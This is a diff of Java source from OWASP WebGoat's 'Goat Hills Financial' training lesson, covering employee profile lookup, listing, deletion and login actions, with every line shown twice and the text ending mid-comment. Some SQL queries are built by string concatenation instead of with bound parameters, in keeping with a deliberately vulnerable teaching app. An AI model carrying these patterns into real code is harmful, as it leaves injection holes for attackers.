public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId; String query = "DELETE FROM employee WHERE userid = " + employeeId;
// System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error deleting employee profile"); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
} }

View File

@ -41,75 +41,75 @@ import org.owasp.webgoat.session.WebSession;
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getUserId(s); int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.EDITPROFILE_ACTION; return GoatHillsFinancial.EDITPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; String query = "SELECT * FROM employee WHERE userid = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -42,120 +42,120 @@ import org.owasp.webgoat.session.WebSession;
public class FindProfile extends DefaultLessonAction public class FindProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME); String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME);
findEmployeeProfile(s, userId, pattern); findEmployeeProfile(s, userId, pattern);
// Execute the chained Action if the employee was found. // Execute the chained Action if the employee was found.
if (foundEmployee(s)) if (foundEmployee(s))
{ {
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION; if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION;
return page; return page;
} }
private boolean foundEmployee(WebSession s) private boolean foundEmployee(WebSession s)
{ {
boolean found = false; boolean found = false;
try try
{ {
getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
found = true; found = true;
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
} }
return found; return found;
} }
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Clear any residual employee id's in the session now. // Clear any residual employee id's in the session now.
removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?"; String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%"); answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%"); answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit. // Just use the first hit.
if (answer_results.next()) if (answer_results.next())
{ {
int id = answer_results.getInt("userid"); int id = answer_results.getInt("userid");
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(id, answer_results.getString("first_name"), answer_results profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("last_name"), answer_results.getString("ssn"), .getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"), answer_results answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/ */
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id)); setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -46,282 +46,282 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class GoatHillsFinancial extends RandomLessonAdapter public class GoatHillsFinancial extends RandomLessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
public final static String DESCRIPTION = "description"; public final static String DESCRIPTION = "description";
public final static String DISCIPLINARY_DATE = "disciplinaryDate"; public final static String DISCIPLINARY_DATE = "disciplinaryDate";
public final static String DISCIPLINARY_NOTES = "disciplinaryNotes"; public final static String DISCIPLINARY_NOTES = "disciplinaryNotes";
public final static String CCN_LIMIT = "ccnLimit"; public final static String CCN_LIMIT = "ccnLimit";
public final static String CCN = "ccn"; public final static String CCN = "ccn";
public final static String SALARY = "salary"; public final static String SALARY = "salary";
public final static String START_DATE = "startDate"; public final static String START_DATE = "startDate";
public final static String MANAGER = "manager"; public final static String MANAGER = "manager";
public final static String ADDRESS1 = "address1"; public final static String ADDRESS1 = "address1";
public final static String ADDRESS2 = "address2"; public final static String ADDRESS2 = "address2";
public final static String PHONE_NUMBER = "phoneNumber"; public final static String PHONE_NUMBER = "phoneNumber";
public final static String TITLE = "title"; public final static String TITLE = "title";
public final static String SSN = "ssn"; public final static String SSN = "ssn";
public final static String LAST_NAME = "lastName"; public final static String LAST_NAME = "lastName";
public final static String FIRST_NAME = "firstName"; public final static String FIRST_NAME = "firstName";
public final static String PASSWORD = "password"; public final static String PASSWORD = "password";
public final static String EMPLOYEE_ID = "employee_id"; public final static String EMPLOYEE_ID = "employee_id";
public final static String USER_ID = "user_id"; public final static String USER_ID = "user_id";
public final static String SEARCHNAME = "search_name"; public final static String SEARCHNAME = "search_name";
public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult"; public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult";
public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee"; public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee";
public final static String STAFF_ATTRIBUTE_KEY = "Staff"; public final static String STAFF_ATTRIBUTE_KEY = "Staff";
public final static String LOGIN_ACTION = "Login"; public final static String LOGIN_ACTION = "Login";
public final static String LOGOUT_ACTION = "Logout"; public final static String LOGOUT_ACTION = "Logout";
public final static String LISTSTAFF_ACTION = "ListStaff"; public final static String LISTSTAFF_ACTION = "ListStaff";
public final static String SEARCHSTAFF_ACTION = "SearchStaff"; public final static String SEARCHSTAFF_ACTION = "SearchStaff";
public final static String FINDPROFILE_ACTION = "FindProfile"; public final static String FINDPROFILE_ACTION = "FindProfile";
public final static String VIEWPROFILE_ACTION = "ViewProfile"; public final static String VIEWPROFILE_ACTION = "ViewProfile";
public final static String EDITPROFILE_ACTION = "EditProfile"; public final static String EDITPROFILE_ACTION = "EditProfile";
public final static String UPDATEPROFILE_ACTION = "UpdateProfile"; public final static String UPDATEPROFILE_ACTION = "UpdateProfile";
public final static String CREATEPROFILE_ACTION = "CreateProfile"; public final static String CREATEPROFILE_ACTION = "CreateProfile";
public final static String DELETEPROFILE_ACTION = "DeleteProfile"; public final static String DELETEPROFILE_ACTION = "DeleteProfile";
public final static String ERROR_ACTION = "error"; public final static String ERROR_ACTION = "error";
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
private Map<String, LessonAction> lessonFunctions = new Hashtable<String, LessonAction>(); private Map<String, LessonAction> lessonFunctions = new Hashtable<String, LessonAction>();
public GoatHillsFinancial() public GoatHillsFinancial()
{ {
String myClassName = parseClassName(this.getClass().getName()); String myClassName = parseClassName(this.getClass().getName());
registerActions(myClassName); registerActions(myClassName);
} }
protected void registerActions(String className) protected void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
protected final String parseClassName(String fqcn) protected final String parseClassName(String fqcn)
{ {
String className = fqcn; String className = fqcn;
int lastDotIndex = fqcn.lastIndexOf('.'); int lastDotIndex = fqcn.lastIndexOf('.');
if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1); if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1);
return className; return className;
} }
protected void registerAction(LessonAction action) protected void registerAction(LessonAction action)
{ {
lessonFunctions.put(action.getActionName(), action); lessonFunctions.put(action.getActionName(), action);
} }
public String[] getStages() public String[] getStages()
{ {
return new String[] {}; return new String[] {};
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
return new ArrayList<String>(); return new ArrayList<String>();
} }
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
return ""; return "";
} }
protected LessonAction getAction(String actionName) protected LessonAction getAction(String actionName)
{ {
return lessonFunctions.get(actionName); return lessonFunctions.get(actionName);
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
try try
{ {
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action == null) if (action == null)
{ {
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
else else
{ {
// System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + // System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " +
// action.getActionName()); // action.getActionName());
if (action.requiresAuthentication()) if (action.requiresAuthentication())
{ {
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
else else
{ {
// Access to Login does not require authentication. // Access to Login does not require authentication.
action.handleRequest(s); action.handleRequest(s);
} }
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
public boolean isAuthorized(WebSession s, int userId, String functionId) public boolean isAuthorized(WebSession s, int userId, String functionId)
{ {
// System.out.println("Checking authorization from " + getCurrentAction(s)); // System.out.println("Checking authorization from " + getCurrentAction(s));
LessonAction action = getAction(getCurrentAction(s)); LessonAction action = getAction(getCurrentAction(s));
return action.isAuthorized(s, userId, functionId); return action.isAuthorized(s, userId, functionId);
} }
public int getUserId(WebSession s) throws ParameterNotFoundException public int getUserId(WebSession s) throws ParameterNotFoundException
{ {
LessonAction action = getAction(getCurrentAction(s)); LessonAction action = getAction(getCurrentAction(s));
return action.getUserId(s); return action.getUserId(s);
} }
public String getUserName(WebSession s) throws ParameterNotFoundException public String getUserName(WebSession s) throws ParameterNotFoundException
{ {
LessonAction action = getAction(getCurrentAction(s)); LessonAction action = getAction(getCurrentAction(s));
return action.getUserName(s); return action.getUserName(s);
} }
protected String getJspPath() protected String getJspPath()
{ {
return "/lessons/" + getLessonName() + "/"; return "/lessons/" + getLessonName() + "/";
} }
public String getTemplatePage(WebSession s) public String getTemplatePage(WebSession s)
{ {
return getJspPath() + getLessonName() + ".jsp"; return getJspPath() + getLessonName() + ".jsp";
} }
public String getPage(WebSession s) public String getPage(WebSession s)
{ {
String page = getJspPath() + getCurrentAction(s) + ".jsp"; String page = getJspPath() + getCurrentAction(s) + ".jsp";
return page; return page;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "Goat Hills Financials"; return "Goat Hills Financials";
} }
public String getSourceFileName() public String getSourceFileName()
{ {
// FIXME: Need to generalize findSourceResource() and use it on the currently active // FIXME: Need to generalize findSourceResource() and use it on the currently active
// LessonAction delegate to get its source file. // LessonAction delegate to get its source file.
// return findSourceResource(getCurrentLessonScreen()....); // return findSourceResource(getCurrentLessonScreen()....);
return super.getSourceFileName(); return super.getSourceFileName();
} }
@Override @Override
protected boolean getDefaultHidden() protected boolean getDefaultHidden()
{ {
return getClass().equals(GoatHillsFinancial.class); return getClass().equals(GoatHillsFinancial.class);
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
@Override @Override
protected String getLessonName() protected String getLessonName()
{ {
String className = getClass().getName(); String className = getClass().getName();
int index = className.lastIndexOf('.'); int index = className.lastIndexOf('.');
if (index > -1) return className.substring(index + 1); if (index > -1) return className.substring(index + 1);
return super.getLessonName(); return super.getLessonName();
} }
} }

View File

@ -10,20 +10,20 @@ import org.owasp.webgoat.session.WebSession;
public interface LessonAction public interface LessonAction
{ {
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException; UnauthorizedException, ValidationException;
public String getNextPage(WebSession s); public String getNextPage(WebSession s);
public String getActionName(); public String getActionName();
public boolean requiresAuthentication(); public boolean requiresAuthentication();
public boolean isAuthenticated(WebSession s); public boolean isAuthenticated(WebSession s);
public boolean isAuthorized(WebSession s, int employeeId, String functionId); public boolean isAuthorized(WebSession s, int employeeId, String functionId);
public int getUserId(WebSession s) throws ParameterNotFoundException; public int getUserId(WebSession s) throws ParameterNotFoundException;
public String getUserName(WebSession s) throws ParameterNotFoundException; public String getUserName(WebSession s) throws ParameterNotFoundException;
} }

View File

@ -43,70 +43,70 @@ import org.owasp.webgoat.session.WebSession;
public class ListStaff extends DefaultLessonAction public class ListStaff extends DefaultLessonAction
{ {
public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
List<EmployeeStub> employees = getAllEmployees(s, userId); List<EmployeeStub> employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.LISTSTAFF_ACTION; return GoatHillsFinancial.LISTSTAFF_ACTION;
} }
public List<EmployeeStub> getAllEmployees(WebSession s, int userId) throws UnauthorizedException public List<EmployeeStub> getAllEmployees(WebSession s, int userId) throws UnauthorizedException
{ {
// Query the database for all employees "owned" by the given employee // Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")"; + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role); // System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub); employees.add(stub);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
} }
return employees; return employees;
} }
} }

View File

@ -44,148 +44,148 @@ import org.owasp.webgoat.session.WebSession;
public class Login extends DefaultLessonAction public class Login extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{ {
// System.out.println("Login.handleRequest()"); // System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
int employeeId = -1; int employeeId = -1;
try try
{ {
employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD); String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD);
// Attempt authentication // Attempt authentication
if (login(s, employeeId, password)) if (login(s, employeeId, password))
{ {
// Execute the chained Action if authentication succeeded. // Execute the chained Action if authentication succeeded.
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
s.setMessage("Login failed"); s.setMessage("Login failed");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// No credentials offered, so we log them out // No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
} }
} }
/** /**
